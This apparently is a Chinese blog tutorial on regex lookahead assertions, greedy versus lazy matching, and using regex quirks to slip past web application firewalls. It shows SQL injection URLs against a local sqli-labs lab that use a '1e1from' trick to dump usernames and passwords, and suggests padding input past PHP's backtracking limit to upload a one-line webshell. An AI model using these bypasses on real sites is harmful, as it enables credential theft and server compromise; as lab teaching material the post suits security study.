• python之路~~~~~正则表达式绕waf案例分析


    正则表达式

    正则表达式:断言

    断言又有很多中叫法,比如环视,巡视。断言一共又分4种:
    xy XZ xa

    x(?=y) 匹配'x'仅仅当'x'后面跟着'y' .这种叫做先行肯定断言。
    (?<=y)x 匹配'x'仅仅当'x'前面是'y' .这种叫做后行肯定断言。
    x(?!y)仅仅当'x'后面不跟着'y'时匹配‘x',这被称为先行否定断言。
    也可以翻译成y前面不跟着x匹配成功
    (?x'前面不是'y'时匹配'x',这被称为后行否定断言。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    断言的使用:

    (?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&*\(\.\\\)])(?=^.{5,7}$)
    
    • 1

    去匹配数字字母大小写特殊符号,并限制长度为5到7位

    输入四位匹配不到
    在这里插入图片描述

    输入7位匹配到
    在这里插入图片描述

    正则表达式绕waf案例

    案例分析(一)

    首先我们要保证sql注入时from不是一个单词,其次它的语法不能报错,这样才有可能绕过

    我们可以用科学记数法的方式绕过

    select username,1e1from users;
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username,0x3a,password),1e1from users),3--+
    
    • 1
    http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),1e1from users--+
    
    • 1

    案例分析(二)

    贪婪匹配

    属于贪婪模式的量词,也叫做匹配优先量词,包括:{m,n}{m,}?*+

    惰性匹配

    在匹配优先量词后加上?,即变成属于惰性匹配的量词,也叫做忽略优先量词,包括:{m,n}?{m,}???*?+?

    回溯

    当前前面分支/重复匹配成功后,没有多余的文本可被正则后半部分匹配时,会产生回溯

    用一个简单的例子来解释一下贪婪匹配和惰性匹配!

    贪婪 : /\d+\b/

    惰性 : /d+?\b/

    文本 : 1234a

    贪婪正则匹配 1234a 时的过程是这样的:

    1. \d+ 匹配得到 1234
    2. \b  却匹配失败(\b 是分词边界匹配,用来获取位置,而不是文本,上一节有讲到)
    4. 这个时候,\d+会尝试回吐一个字符,即匹配结果为 123 ,可\b还是匹配失败!
    5. 那就继续回吐,一直到 1,还是匹配失败,那么这个正则就整体匹配失败了
    6. 这个回吐匹配结果的过程就是回溯
    
    • 1
    • 2
    • 3
    • 4
    • 5

    惰性正则匹配 1234a 时的过程是这样的:

    1. \d+? 首先匹配,结果是1 ,紧接着 \b 匹配失败
    2. 那就 \d+? 继续匹配,结果是 12 ,紧接着 \b 还是匹配失败
    3. \d+? 一直匹配到1234,紧接着的 \b 依然匹配失败
    4. 结果整个正则匹配不成功
    
    • 1
    • 2
    • 3
    • 4

    通过这两个例子的比较,相信你会猜到回溯会影响匹配速度,回溯的过程慢那是相对那些DFA引擎。

    而JS的正则引擎是NFA(非确定型有限自动机),匹配慢,编译快。

    而PHP是有限制回溯次数的,中文10w,英文100w

    这样可以写一个脚本生成100w字符,php一句话上传上去即可

  • 相关阅读:
    mybatis自定义类型控制器(TypeHandler)处理将字符串处理为集合
    操作系统【OS】进程的控制结构PCB
    Linux 进程调度和进程管理
    【python】通用的json_diff方法
    如何使用 ABAP 创建包含不同字体大小的 Word 文档试读版
    2022-2028年全球与中国便携式茶包市场现状及未来发展趋势分析报告
    ZYNQ实验--裸机程序固化
    重庆自考本科报哪个学校都一样吗?
    15. 三数之和
    flink集群与资源@k8s源码分析-资源III 声明式资源管理
  • 原文地址:https://blog.csdn.net/weixin_44811851/article/details/125892092